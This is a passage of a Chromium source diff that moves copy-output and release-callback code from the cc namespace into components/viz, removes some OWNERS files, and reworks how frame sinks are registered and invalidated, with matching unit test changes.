   std::unique_ptr<SkBitmap> bitmap_;
-  viz::TextureMailbox texture_mailbox_;
+  TextureMailbox texture_mailbox_;
   std::unique_ptr<SingleReleaseCallback> release_callback_;
 
   DISALLOW_COPY_AND_ASSIGN(CopyOutputResult);
 };
 
-}  // namespace cc
+}  // namespace viz
 
-#endif  // CC_OUTPUT_COPY_OUTPUT_RESULT_H_
+#endif  // COMPONENTS_VIZ_COMMON_QUADS_COPY_OUTPUT_RESULT_H_
diff --git a/cc/resources/release_callback.h b/components/viz/common/quads/release_callback.h
similarity index 62%
rename from cc/resources/release_callback.h
rename to components/viz/common/quads/release_callback.h
index 1a7245c..8166416c 100644
--- a/cc/resources/release_callback.h
+++ b/components/viz/common/quads/release_callback.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CC_RESOURCES_RELEASE_CALLBACK_H_
-#define CC_RESOURCES_RELEASE_CALLBACK_H_
+#ifndef COMPONENTS_VIZ_COMMON_QUADS_RELEASE_CALLBACK_H_
+#define COMPONENTS_VIZ_COMMON_QUADS_RELEASE_CALLBACK_H_
 
 #include "base/callback.h"
 
@@ -11,11 +11,11 @@
 struct SyncToken;
 }  // namespace gpu
 
-namespace cc {
+namespace viz {
 
 typedef base::Callback<void(const gpu::SyncToken& sync_token, bool is_lost)>
     ReleaseCallback;
 
-}  // namespace cc
+}  // namespace viz
 
-#endif  // CC_RESOURCES_RELEASE_CALLBACK_H_
+#endif  // COMPONENTS_VIZ_COMMON_QUADS_RELEASE_CALLBACK_H_
diff --git a/cc/resources/single_release_callback.cc b/components/viz/common/quads/single_release_callback.cc
similarity index 88%
rename from cc/resources/single_release_callback.cc
rename to components/viz/common/quads/single_release_callback.cc
index 4c199dc..bd3dca9e 100644
--- a/cc/resources/single_release_callback.cc
+++ b/components/viz/common/quads/single_release_callback.cc
@@ -2,12 +2,12 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "cc/resources/single_release_callback.h"
+#include "components/viz/common/quads/single_release_callback.h"
 
 #include "base/callback_helpers.h"
 #include "base/logging.h"
 
-namespace cc {
+namespace viz {
 
 SingleReleaseCallback::SingleReleaseCallback(const ReleaseCallback& callback)
     : callback_(callback) {
@@ -26,4 +26,4 @@
   base::ResetAndReturn(&callback_).Run(sync_token, is_lost);
 }
 
-}  // namespace cc
+}  // namespace viz
diff --git a/cc/resources/single_release_callback.h b/components/viz/common/quads/single_release_callback.h
similarity index 60%
rename from cc/resources/single_release_callback.h
rename to components/viz/common/quads/single_release_callback.h
index 802ccb1..29420f57 100644
--- a/cc/resources/single_release_callback.h
+++ b/components/viz/common/quads/single_release_callback.h
@@ -2,18 +2,18 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CC_RESOURCES_SINGLE_RELEASE_CALLBACK_H_
-#define CC_RESOURCES_SINGLE_RELEASE_CALLBACK_H_
+#ifndef COMPONENTS_VIZ_COMMON_QUADS_SINGLE_RELEASE_CALLBACK_H_
+#define COMPONENTS_VIZ_COMMON_QUADS_SINGLE_RELEASE_CALLBACK_H_
 
 #include <memory>
 
 #include "base/memory/ptr_util.h"
-#include "cc/cc_export.h"
-#include "cc/resources/release_callback.h"
+#include "components/viz/common/quads/release_callback.h"
+#include "components/viz/common/viz_common_export.h"
 
-namespace cc {
+namespace viz {
 
-class CC_EXPORT SingleReleaseCallback {
+class VIZ_COMMON_EXPORT SingleReleaseCallback {
  public:
   static std::unique_ptr<SingleReleaseCallback> Create(
       const ReleaseCallback& cb) {
@@ -30,6 +30,6 @@
   ReleaseCallback callback_;
 };
 
-}  // namespace cc
+}  // namespace viz
 
-#endif  // CC_RESOURCES_SINGLE_RELEASE_CALLBACK_H_
+#endif  // COMPONENTS_VIZ_COMMON_QUADS_SINGLE_RELEASE_CALLBACK_H_
diff --git a/components/viz/host/OWNERS b/components/viz/host/OWNERS
deleted file mode 100644
index c795b67c..0000000
--- a/components/viz/host/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-kylechar@chromium.org
\ No newline at end of file
diff --git a/components/viz/host/frame_sink_observer.h b/components/viz/host/frame_sink_observer.h
index eaa0acff..f018545 100644
--- a/components/viz/host/frame_sink_observer.h
+++ b/components/viz/host/frame_sink_observer.h
@@ -5,12 +5,10 @@
 #ifndef COMPONENTS_VIZ_HOST_FRAME_SINK_OBSERVER_H_
 #define COMPONENTS_VIZ_HOST_FRAME_SINK_OBSERVER_H_
 
-namespace cc {
-class SurfaceInfo;
-}
-
 namespace viz {
 
+class SurfaceInfo;
+
 class FrameSinkObserver {
  public:
   // Runs when a CompositorFrame is received for the given SurfaceInfo for the
diff --git a/components/viz/host/hit_test/OWNERS b/components/viz/host/hit_test/OWNERS
deleted file mode 100644
index 77f21b5..0000000
--- a/components/viz/host/hit_test/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-rjkroege@chromium.org
diff --git a/components/viz/host/host_frame_sink_manager.cc b/components/viz/host/host_frame_sink_manager.cc
index 20545f2..76f7074d 100644
--- a/components/viz/host/host_frame_sink_manager.cc
+++ b/components/viz/host/host_frame_sink_manager.cc
@@ -56,10 +56,11 @@
   DCHECK(!data.HasCompositorFrameSinkData());
 
   data.is_root = false;
+  data.has_created_compositor_frame_sink = true;
 
   frame_sink_manager_->CreateCompositorFrameSink(
-      frame_sink_id, std::move(request),
-      mojo::MakeRequest(&data.private_interface), std::move(client));
+      frame_sink_id, std::move(request), std::move(client));
+  frame_sink_manager_->RegisterFrameSinkId(frame_sink_id);
 }
 
 void HostFrameSinkManager::DestroyCompositorFrameSink(
@@ -69,11 +70,13 @@
 
   FrameSinkData& data = iter->second;
   DCHECK(data.HasCompositorFrameSinkData());
-  if (data.private_interface.is_bound())
-    // This will close the message pipe and destroy the CompositorFrameSink.
-    data.private_interface.reset();
-  else
+  if (data.has_created_compositor_frame_sink) {
+    // This will also destroy the CompositorFrameSink pipe to the client.
+    frame_sink_manager_->InvalidateFrameSinkId(frame_sink_id);
+    data.has_created_compositor_frame_sink = false;
+  } else {
     data.support = nullptr;
+  }
 
   if (data.IsEmpty())
     frame_sink_data_map_.erase(iter);
diff --git a/components/viz/host/host_frame_sink_manager.h b/components/viz/host/host_frame_sink_manager.h
index b9b25f25..5575a4b 100644
--- a/components/viz/host/host_frame_sink_manager.h
+++ b/components/viz/host/host_frame_sink_manager.h
@@ -23,15 +23,12 @@
 class SingleThreadTaskRunner;
 }
 
-namespace cc {
-class SurfaceInfo;
-}  // namespace cc
-
 namespace viz {
 
 class CompositorFrameSinkSupport;
 class CompositorFrameSinkSupportClient;
 class FrameSinkManagerImpl;
+class SurfaceInfo;
 
 namespace test {
 class HostFrameSinkManagerTest;
@@ -101,7 +98,7 @@
     FrameSinkData& operator=(FrameSinkData&& other);
 
     bool HasCompositorFrameSinkData() const {
-      return private_interface.is_bound() || support;
+      return has_created_compositor_frame_sink || support;
     }
 
     // Returns true if there is nothing in FrameSinkData and it can be deleted.
@@ -115,10 +112,9 @@
     // The FrameSinkId registered as the parent in the BeginFrame hierarchy.
     base::Optional<FrameSinkId> parent;
 
-    // The private interface that gives the host control over the
-    // CompositorFrameSink connection between the client and viz. This will be
-    // unbound if not using Mojo.
-    cc::mojom::CompositorFrameSinkPrivatePtr private_interface;
+    // If a mojom::CompositorFrameSink was created for this FrameSinkId. This
+    // will always be false if not using Mojo.
+    bool has_created_compositor_frame_sink = false;
 
     // This will be null if using Mojo.
     CompositorFrameSinkSupport* support = nullptr;
diff --git a/components/viz/host/host_frame_sink_manager_unittests.cc b/components/viz/host/host_frame_sink_manager_unittests.cc
index febaaa3..7a374f8 100644
--- a/components/viz/host/host_frame_sink_manager_unittests.cc
+++ b/components/viz/host/host_frame_sink_manager_unittests.cc
@@ -8,8 +8,6 @@
 #include <utility>
 
 #include "base/macros.h"
-#include "base/run_loop.h"
-#include "base/threading/sequenced_task_runner_handle.h"
 #include "cc/ipc/frame_sink_manager.mojom.h"
 #include "components/viz/common/surfaces/frame_sink_id.h"
 #include "components/viz/service/frame_sinks/compositor_frame_sink_support.h"
@@ -24,43 +22,6 @@
 constexpr FrameSinkId kParentFrameSinkId(1, 1);
 constexpr FrameSinkId kClientFrameSinkId(2, 1);
 
-ACTION_P(InvokeClosure, closure) {
-  closure.Run();
-}
-
-// A stub CompositorFrameSinkClient that does nothing.
-class StubCompositorFrameSinkClient
-    : public cc::mojom::CompositorFrameSinkClient {
- public:
-  StubCompositorFrameSinkClient() : binding_(this) {}
-  ~StubCompositorFrameSinkClient() override = default;
-
-  cc::mojom::CompositorFrameSinkClientPtr GetInterfacePtr() {
-    cc::mojom::CompositorFrameSinkClientPtr client;
-    binding_.Bind(mojo::MakeRequest(&client));
-    return client;
-  }
-
-  // Sets a callback to be called when the pipe for |binding_| is closed.
-  void SetConnectionClosedCallback(base::OnceClosure callback) {
-    EXPECT_TRUE(binding_.is_bound());
-    binding_.set_connection_error_handler(std::move(callback));
-  }
-
- private:
-  // cc::mojom::CompositorFrameSinkClient:
-  void DidReceiveCompositorFrameAck(
-      const std::vector<cc::ReturnedResource>& resources) override {}
-  void OnBeginFrame(const BeginFrameArgs& begin_frame_args) override {}
-  void OnBeginFramePausedChanged(bool paused) override {}
-  void ReclaimResources(
-      const std::vector<cc::ReturnedResource>& resources) override {}
-
-  mojo::Binding<cc::mojom::CompositorFrameSinkClient> binding_;
-
-  DISALLOW_COPY_AND_ASSIGN(StubCompositorFrameSinkClient);
-};
-
 // A mock implementation of mojom::FrameSinkManager.
 class MockFrameSinkManagerImpl : public FrameSinkManagerImpl {
  public:
@@ -68,14 +29,23 @@
   ~MockFrameSinkManagerImpl() override = default;
 
   // cc::mojom::FrameSinkManager:
+  MOCK_METHOD1(RegisterFrameSinkId, void(const FrameSinkId& frame_sink_id));
+  MOCK_METHOD1(InvalidateFrameSinkId, void(const FrameSinkId& frame_sink_id));
+  // Work around for gmock not supporting move-only types.
+  void CreateCompositorFrameSink(
+      const FrameSinkId& frame_sink_id,
+      cc::mojom::CompositorFrameSinkRequest request,
+      cc::mojom::CompositorFrameSinkClientPtr client) override {
+    MockCreateCompositorFrameSink(frame_sink_id);
+  }
+  MOCK_METHOD1(MockCreateCompositorFrameSink,
+               void(const FrameSinkId& frame_sink_id));
   MOCK_METHOD2(RegisterFrameSinkHierarchy,
                void(const FrameSinkId& parent, const FrameSinkId& child));
   MOCK_METHOD2(UnregisterFrameSinkHierarchy,
                void(const FrameSinkId& parent, const FrameSinkId& child));
   MOCK_METHOD1(DropTemporaryReference, void(const SurfaceId& surface_id));
 
-  // TODO(kylechar): See if we can mock functions with InterfacePtr parameters.
-
  private:
   DISALLOW_COPY_AND_ASSIGN(MockFrameSinkManagerImpl);
 };
@@ -114,14 +84,13 @@
 // Verify that creating and destroying a CompositorFrameSink using
 // mojom::CompositorFrameSink works correctly.
 TEST_F(HostFrameSinkManagerTest, CreateMojomCompositorFrameSink) {
-  base::RunLoop run_loop;
-
-  cc::mojom::CompositorFrameSinkPtr frame_sink;
-  StubCompositorFrameSinkClient frame_sink_client;
-  host_manager().CreateCompositorFrameSink(kClientFrameSinkId,
-                                           mojo::MakeRequest(&frame_sink),
-                                           frame_sink_client.GetInterfacePtr());
-
+  // Calling CreateCompositorFrameSink() should first register the frame sink
+  // and then request to create it.
+  EXPECT_CALL(manager_impl(), RegisterFrameSinkId(kClientFrameSinkId));
+  EXPECT_CALL(manager_impl(),
+              MockCreateCompositorFrameSink(kClientFrameSinkId));
+  host_manager().CreateCompositorFrameSink(
+      kClientFrameSinkId, nullptr /* request */, nullptr /* client */);
   EXPECT_TRUE(FrameSinkDataExists(kClientFrameSinkId));
 
   // Register should call through to FrameSinkManagerImpl and should work even
@@ -131,10 +100,9 @@
   host_manager().RegisterFrameSinkHierarchy(kParentFrameSinkId,
                                             kClientFrameSinkId);
 
-  // Destroying the CompositorFrameSink should close the client connection.
-  frame_sink_client.SetConnectionClosedCallback(run_loop.QuitClosure());
+  // Destroying the CompositorFrameSink should invalidate it in viz.
+  EXPECT_CALL(manager_impl(), InvalidateFrameSinkId(kClientFrameSinkId));
   host_manager().DestroyCompositorFrameSink(kClientFrameSinkId);
-  run_loop.Run();
 
   // We should still have the hierarchy data for |kClientFrameSinkId|.
   EXPECT_TRUE(FrameSinkDataExists(kClientFrameSinkId));
@@ -149,8 +117,7 @@
   EXPECT_FALSE(FrameSinkDataExists(kClientFrameSinkId));
 }
 
-// Verify that that creating two CompositorFrameSinkSupports work and that
-// FrameSink hierarchy registration is independent of the creation.
+// Verify that that creating two CompositorFrameSinkSupports works.
 TEST_F(HostFrameSinkManagerTest, CreateCompositorFrameSinkSupport) {
   auto support_client = host_manager().CreateCompositorFrameSinkSupport(
       nullptr /* client */, kClientFrameSinkId, false /* is_root */,
diff --git a/components/viz/service/display/display_unittest.cc b/components/viz/service/display/display_unittest.cc
index eb72467..ac94de6 100644
--- a/components/viz/service/display/display_unittest.cc
+++ b/components/viz/service/display/display_unittest.cc
@@ -9,13 +9,13 @@
 #include "base/memory/ptr_util.h"
 #include "base/test/null_task_runner.h"
 #include "cc/output/compositor_frame.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/texture_mailbox_deleter.h"
 #include "cc/quads/render_pass.h"
 #include "cc/test/fake_output_surface.h"
 #include "cc/test/scheduler_test_common.h"
 #include "cc/test/test_shared_bitmap_manager.h"
 #include "components/viz/common/frame_sinks/begin_frame_source.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/common/resources/shared_bitmap_manager.h"
 #include "components/viz/common/surfaces/frame_sink_id.h"
 #include "components/viz/common/surfaces/local_surface_id_allocator.h"
@@ -175,7 +175,7 @@
   void DisplayDidDrawAndSwap() override {}
 };
 
-void CopyCallback(bool* called, std::unique_ptr<cc::CopyOutputResult> result) {
+void CopyCallback(bool* called, std::unique_ptr<CopyOutputResult> result) {
   *called = true;
 }
 
@@ -330,7 +330,7 @@
     pass->output_rect = gfx::Rect(0, 0, 100, 100);
     pass->damage_rect = gfx::Rect(10, 10, 0, 0);
     bool copy_called = false;
-    pass->copy_requests.push_back(cc::CopyOutputRequest::CreateRequest(
+    pass->copy_requests.push_back(CopyOutputRequest::CreateRequest(
         base::BindOnce(&CopyCallback, &copy_called)));
     pass->id = 1u;
 
diff --git a/components/viz/service/display/surface_aggregator.cc b/components/viz/service/display/surface_aggregator.cc
index 1c2eb3a..c72ed36 100644
--- a/components/viz/service/display/surface_aggregator.cc
+++ b/components/viz/service/display/surface_aggregator.cc
@@ -45,9 +45,9 @@
 
 void MoveMatchingRequests(
     cc::RenderPassId render_pass_id,
-    std::multimap<cc::RenderPassId, std::unique_ptr<cc::CopyOutputRequest>>*
+    std::multimap<cc::RenderPassId, std::unique_ptr<CopyOutputRequest>>*
         copy_requests,
-    std::vector<std::unique_ptr<cc::CopyOutputRequest>>* output_requests) {
+    std::vector<std::unique_ptr<CopyOutputRequest>>* output_requests) {
   auto request_range = copy_requests->equal_range(render_pass_id);
   for (auto it = request_range.first; it != request_range.second; ++it) {
     DCHECK(it->second);
diff --git a/components/viz/service/display/surface_aggregator_unittest.cc b/components/viz/service/display/surface_aggregator_unittest.cc
index dcf955e..b1f904f 100644
--- a/components/viz/service/display/surface_aggregator_unittest.cc
+++ b/components/viz/service/display/surface_aggregator_unittest.cc
@@ -689,7 +689,7 @@
 
   SubmitCompositorFrame(embedded_support.get(), embedded_passes,
                         arraysize(embedded_passes), embedded_local_surface_id);
-  auto copy_request = cc::CopyOutputRequest::CreateEmptyRequest();
+  auto copy_request = CopyOutputRequest::CreateEmptyRequest();
   auto* copy_request_ptr = copy_request.get();
   embedded_support->RequestCopyOfSurface(std::move(copy_request));
 
@@ -744,9 +744,9 @@
 
   SubmitCompositorFrame(embedded_support.get(), embedded_passes,
                         arraysize(embedded_passes), embedded_local_surface_id);
-  auto copy_request(cc::CopyOutputRequest::CreateEmptyRequest());
+  auto copy_request(CopyOutputRequest::CreateEmptyRequest());
   auto* copy_request_ptr = copy_request.get();
-  auto copy_request2(cc::CopyOutputRequest::CreateEmptyRequest());
+  auto copy_request2(CopyOutputRequest::CreateEmptyRequest());
   auto* copy_request2_ptr = copy_request2.get();
 
   Quad root_quads[] = {
@@ -825,7 +825,7 @@
 
   SubmitCompositorFrame(embedded_support.get(), embedded_passes,
                         arraysize(embedded_passes), embedded_local_surface_id);
-  auto copy_request(cc::CopyOutputRequest::CreateEmptyRequest());
+  auto copy_request(CopyOutputRequest::CreateEmptyRequest());
   auto* copy_request_ptr = copy_request.get();
   embedded_support->RequestCopyOfSurface(std::move(copy_request));
 
@@ -1940,7 +1940,7 @@
     auto* child_root_pass = child_pass_list[1].get();
 
     child_root_pass->copy_requests.push_back(
-        cc::CopyOutputRequest::CreateEmptyRequest());
+        CopyOutputRequest::CreateEmptyRequest());
     child_root_pass->damage_rect = gfx::Rect();
     SubmitPassListAsFrame(child_support_.get(), child_local_surface_id,
                           &child_pass_list);
@@ -2433,7 +2433,7 @@
     surface_quad->SetNew(sqs, gfx::Rect(0, 0, 1, 1), gfx::Rect(0, 0, 1, 1),
                          surface1_id, cc::SurfaceDrawQuadType::PRIMARY,
                          nullptr);
-    pass->copy_requests.push_back(cc::CopyOutputRequest::CreateEmptyRequest());
+    pass->copy_requests.push_back(CopyOutputRequest::CreateEmptyRequest());
 
     cc::CompositorFrame frame = test::MakeEmptyCompositorFrame();
     frame.render_pass_list.push_back(std::move(pass));
diff --git a/components/viz/service/display_embedder/OWNERS b/components/viz/service/display_embedder/OWNERS
deleted file mode 100644
index 68de279a..0000000
--- a/components/viz/service/display_embedder/OWNERS
+++ /dev/null
@@ -1,6 +0,0 @@
-piman@chromium.org
-danakj@chromium.org
-jbauman@chromium.org
-ccameron@chromium.org
-
-# COMPONENT: Internals>Compositing
diff --git a/components/viz/service/frame_sinks/compositor_frame_sink_support.cc b/components/viz/service/frame_sinks/compositor_frame_sink_support.cc
index dd76f16..4a9dc8c 100644
--- a/components/viz/service/frame_sinks/compositor_frame_sink_support.cc
+++ b/components/viz/service/frame_sinks/compositor_frame_sink_support.cc
@@ -294,11 +294,6 @@
     client_->WillDrawSurface(local_surface_id, damage_rect);
 }
 
-void CompositorFrameSinkSupport::ClaimTemporaryReference(
-    const SurfaceId& surface_id) {
-  surface_manager_->AssignTemporaryReference(surface_id, frame_sink_id_);
-}
-
 CompositorFrameSinkSupport::CompositorFrameSinkSupport(
     CompositorFrameSinkSupportClient* client,
     const FrameSinkId& frame_sink_id,
@@ -365,7 +360,7 @@
 }
 
 void CompositorFrameSinkSupport::RequestCopyOfSurface(
-    std::unique_ptr<cc::CopyOutputRequest> copy_request) {
+    std::unique_ptr<CopyOutputRequest> copy_request) {
   if (!current_surface_id_.is_valid())
     return;
   Surface* current_surface =
diff --git a/components/viz/service/frame_sinks/compositor_frame_sink_support.h b/components/viz/service/frame_sinks/compositor_frame_sink_support.h
index 0fb2b4ad..ef91c26 100644
--- a/components/viz/service/frame_sinks/compositor_frame_sink_support.h
+++ b/components/viz/service/frame_sinks/compositor_frame_sink_support.h
@@ -71,8 +71,7 @@
   void DidNotProduceFrame(const BeginFrameAck& ack);
   bool SubmitCompositorFrame(const LocalSurfaceId& local_surface_id,
                              cc::CompositorFrame frame);
-  void RequestCopyOfSurface(std::unique_ptr<cc::CopyOutputRequest> request);
-  void ClaimTemporaryReference(const SurfaceId& surface_id);
+  void RequestCopyOfSurface(std::unique_ptr<CopyOutputRequest> request);
 
   Surface* GetCurrentSurfaceForTesting();
 
diff --git a/components/viz/service/frame_sinks/compositor_frame_sink_support_unittest.cc b/components/viz/service/frame_sinks/compositor_frame_sink_support_unittest.cc
index f20311a..5469b10 100644
--- a/components/viz/service/frame_sinks/compositor_frame_sink_support_unittest.cc
+++ b/components/viz/service/frame_sinks/compositor_frame_sink_support_unittest.cc
@@ -6,12 +6,12 @@
 
 #include "base/macros.h"
 #include "cc/output/compositor_frame.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/resources/resource_provider.h"
 #include "cc/test/fake_external_begin_frame_source.h"
 #include "cc/test/fake_surface_observer.h"
 #include "cc/test/mock_compositor_frame_sink_support_client.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/common/surfaces/frame_sink_id.h"
 #include "components/viz/common/surfaces/surface_id.h"
 #include "components/viz/common/surfaces/surface_info.h"
@@ -717,7 +717,7 @@
 }
 
 void CopyRequestTestCallback(bool* called,
-                             std::unique_ptr<cc::CopyOutputResult> result) {
+                             std::unique_ptr<CopyOutputResult> result) {
   *called = true;
 }
 
@@ -732,7 +732,7 @@
   }
 
   bool called1 = false;
-  auto request = cc::CopyOutputRequest::CreateRequest(
+  auto request = CopyOutputRequest::CreateRequest(
       base::BindOnce(&CopyRequestTestCallback, &called1));
   request->set_source(kArbitrarySourceId1);
 
@@ -740,7 +740,7 @@
   EXPECT_FALSE(called1);
 
   bool called2 = false;
-  request = cc::CopyOutputRequest::CreateRequest(
+  request = CopyOutputRequest::CreateRequest(
       base::BindOnce(&CopyRequestTestCallback, &called2));
   request->set_source(kArbitrarySourceId2);
 
@@ -750,7 +750,7 @@
   EXPECT_FALSE(called2);
 
   bool called3 = false;
-  request = cc::CopyOutputRequest::CreateRequest(
+  request = CopyOutputRequest::CreateRequest(
       base::BindOnce(&CopyRequestTestCallback, &called3));
   request->set_source(kArbitrarySourceId1);
 
diff --git a/components/viz/service/frame_sinks/direct_layer_tree_frame_sink_unittest.cc b/components/viz/service/frame_sinks/direct_layer_tree_frame_sink_unittest.cc
index c3161c1..0dd445e5 100644
--- a/components/viz/service/frame_sinks/direct_layer_tree_frame_sink_unittest.cc
+++ b/components/viz/service/frame_sinks/direct_layer_tree_frame_sink_unittest.cc
@@ -10,7 +10,6 @@
 #include "cc/output/texture_mailbox_deleter.h"
 #include "cc/test/fake_layer_tree_frame_sink_client.h"
 #include "cc/test/fake_output_surface.h"
-#include "cc/test/ordered_simple_task_runner.h"
 #include "cc/test/test_context_provider.h"
 #include "cc/test/test_gpu_memory_buffer_manager.h"
 #include "cc/test/test_shared_bitmap_manager.h"
@@ -25,6 +24,7 @@
 #include "components/viz/service/frame_sinks/frame_sink_manager_impl.h"
 #include "components/viz/test/begin_frame_args_test.h"
 #include "components/viz/test/compositor_frame_helpers.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace viz {
diff --git a/components/viz/service/frame_sinks/frame_sink_manager_impl.cc b/components/viz/service/frame_sinks/frame_sink_manager_impl.cc
index 87997b36..c2ea4a4 100644
--- a/components/viz/service/frame_sinks/frame_sink_manager_impl.cc
+++ b/components/viz/service/frame_sinks/frame_sink_manager_impl.cc
@@ -68,11 +68,23 @@
   client_ = client;
 }
 
+void FrameSinkManagerImpl::RegisterFrameSinkId(
+    const FrameSinkId& frame_sink_id) {
+  DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
+  surface_manager_.RegisterFrameSinkId(frame_sink_id);
+}
+
+void FrameSinkManagerImpl::InvalidateFrameSinkId(
+    const FrameSinkId& frame_sink_id) {
+  DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
+  compositor_frame_sinks_.erase(frame_sink_id);
+  surface_manager_.InvalidateFrameSinkId(frame_sink_id);
+}
+
 void FrameSinkManagerImpl::CreateRootCompositorFrameSink(
     const FrameSinkId& frame_sink_id,
     gpu::SurfaceHandle surface_handle,
     cc::mojom::CompositorFrameSinkAssociatedRequest request,
-    cc::mojom::CompositorFrameSinkPrivateRequest private_request,
     cc::mojom::CompositorFrameSinkClientPtr client,
     cc::mojom::DisplayPrivateAssociatedRequest display_private_request) {
   DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
@@ -87,23 +99,20 @@
   compositor_frame_sinks_[frame_sink_id] =
       base::MakeUnique<GpuRootCompositorFrameSink>(
           this, frame_sink_id, std::move(display),
-          std::move(begin_frame_source), std::move(request),
-          std::move(private_request), std::move(client),
+          std::move(begin_frame_source), std::move(request), std::move(client),
           std::move(display_private_request));
 }
 
 void FrameSinkManagerImpl::CreateCompositorFrameSink(
     const FrameSinkId& frame_sink_id,
     cc::mojom::CompositorFrameSinkRequest request,
-    cc::mojom::CompositorFrameSinkPrivateRequest private_request,
     cc::mojom::CompositorFrameSinkClientPtr client) {
   DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
   DCHECK_EQ(0u, compositor_frame_sinks_.count(frame_sink_id));
 
   compositor_frame_sinks_[frame_sink_id] =
       base::MakeUnique<GpuCompositorFrameSink>(
-          this, frame_sink_id, std::move(request), std::move(private_request),
-          std::move(client));
+          this, frame_sink_id, std::move(request), std::move(client));
 }
 
 void FrameSinkManagerImpl::RegisterFrameSinkHierarchy(
@@ -175,6 +184,11 @@
     RecursivelyAttachBeginFrameSource(source_iter.second, source_iter.first);
 }
 
+void FrameSinkManagerImpl::AssignTemporaryReference(const SurfaceId& surface_id,
+                                                    const FrameSinkId& owner) {
+  surface_manager_.AssignTemporaryReference(surface_id, owner);
+}
+
 void FrameSinkManagerImpl::DropTemporaryReference(const SurfaceId& surface_id) {
   surface_manager_.DropTemporaryReference(surface_id);
 }
@@ -340,14 +354,4 @@
     client_->OnClientConnectionClosed(frame_sink_id);
 }
 
-void FrameSinkManagerImpl::OnPrivateConnectionLost(
-    const FrameSinkId& frame_sink_id) {
-  DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
-  DestroyCompositorFrameSink(frame_sink_id);
-}
-
-void FrameSinkManagerImpl::DestroyCompositorFrameSink(FrameSinkId sink_id) {
-  compositor_frame_sinks_.erase(sink_id);
-}
-
 }  // namespace viz
diff --git a/components/viz/service/frame_sinks/frame_sink_manager_impl.h b/components/viz/service/frame_sinks/frame_sink_manager_impl.h
index e3ad058..c85e2d9 100644
--- a/components/viz/service/frame_sinks/frame_sink_manager_impl.h
+++ b/components/viz/service/frame_sinks/frame_sink_manager_impl.h
@@ -60,18 +60,18 @@
   void SetLocalClient(cc::mojom::FrameSinkManagerClient* client);
 
   // cc::mojom::FrameSinkManager implementation:
+  void RegisterFrameSinkId(const FrameSinkId& frame_sink_id) override;
+  void InvalidateFrameSinkId(const FrameSinkId& frame_sink_id) override;
   void CreateRootCompositorFrameSink(
       const FrameSinkId& frame_sink_id,
       gpu::SurfaceHandle surface_handle,
       cc::mojom::CompositorFrameSinkAssociatedRequest request,
-      cc::mojom::CompositorFrameSinkPrivateRequest private_request,
       cc::mojom::CompositorFrameSinkClientPtr client,
       cc::mojom::DisplayPrivateAssociatedRequest display_private_request)
       override;
   void CreateCompositorFrameSink(
       const FrameSinkId& frame_sink_id,
       cc::mojom::CompositorFrameSinkRequest request,
-      cc::mojom::CompositorFrameSinkPrivateRequest private_request,
       cc::mojom::CompositorFrameSinkClientPtr client) override;
   void RegisterFrameSinkHierarchy(
       const FrameSinkId& parent_frame_sink_id,
@@ -79,6 +79,8 @@
   void UnregisterFrameSinkHierarchy(
       const FrameSinkId& parent_frame_sink_id,
       const FrameSinkId& child_frame_sink_id) override;
+  void AssignTemporaryReference(const SurfaceId& surface_id,
+                                const FrameSinkId& owner) override;
   void DropTemporaryReference(const SurfaceId& surface_id) override;
 
   // CompositorFrameSinkSupport, hierarchy, and BeginFrameSource can be
@@ -120,7 +122,6 @@
   void OnSurfaceWillDraw(const SurfaceId& surface_id) override;
 
   void OnClientConnectionLost(const FrameSinkId& frame_sink_id);
-  void OnPrivateConnectionLost(const FrameSinkId& frame_sink_id);
 
   // It is necessary to pass |frame_sink_id| by value because the id
   // is owned by the GpuCompositorFrameSink in the map. When the sink is
diff --git a/components/viz/service/frame_sinks/frame_sink_manager_unittest.cc b/components/viz/service/frame_sinks/frame_sink_manager_unittest.cc
index 720424e..db18f9e 100644
--- a/components/viz/service/frame_sinks/frame_sink_manager_unittest.cc
+++ b/components/viz/service/frame_sinks/frame_sink_manager_unittest.cc
@@ -4,11 +4,11 @@
 
 #include <stddef.h>
 
-#include "cc/test/begin_frame_source_test.h"
 #include "cc/test/fake_external_begin_frame_source.h"
 #include "components/viz/common/frame_sinks/begin_frame_source.h"
 #include "components/viz/service/frame_sinks/frame_sink_manager_client.h"
 #include "components/viz/service/frame_sinks/frame_sink_manager_impl.h"
+#include "components/viz/test/begin_frame_source_test.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace viz {
@@ -135,7 +135,7 @@
 TEST_F(FrameSinkManagerTest, PrimaryBeginFrameSource) {
   // This PrimaryBeginFrameSource should track the first BeginFrameSource
   // registered with the SurfaceManager.
-  testing::NiceMock<cc::MockBeginFrameObserver> obs;
+  testing::NiceMock<MockBeginFrameObserver> obs;
   BeginFrameSource* begin_frame_source = manager_.GetPrimaryBeginFrameSource();
   begin_frame_source->AddObserver(&obs);
 
diff --git a/components/viz/service/frame_sinks/gpu_compositor_frame_sink.cc b/components/viz/service/frame_sinks/gpu_compositor_frame_sink.cc
index 2fd52556..83bc58ac 100644
--- a/components/viz/service/frame_sinks/gpu_compositor_frame_sink.cc
+++ b/components/viz/service/frame_sinks/gpu_compositor_frame_sink.cc
@@ -14,26 +14,18 @@
     FrameSinkManagerImpl* frame_sink_manager,
     const FrameSinkId& frame_sink_id,
     cc::mojom::CompositorFrameSinkRequest request,
-    cc::mojom::CompositorFrameSinkPrivateRequest
-        compositor_frame_sink_private_request,
     cc::mojom::CompositorFrameSinkClientPtr client)
     : support_(CompositorFrameSinkSupport::Create(
           this,
           frame_sink_manager,
           frame_sink_id,
           false /* is_root */,
-          true /* handles_frame_sink_id_invalidation */,
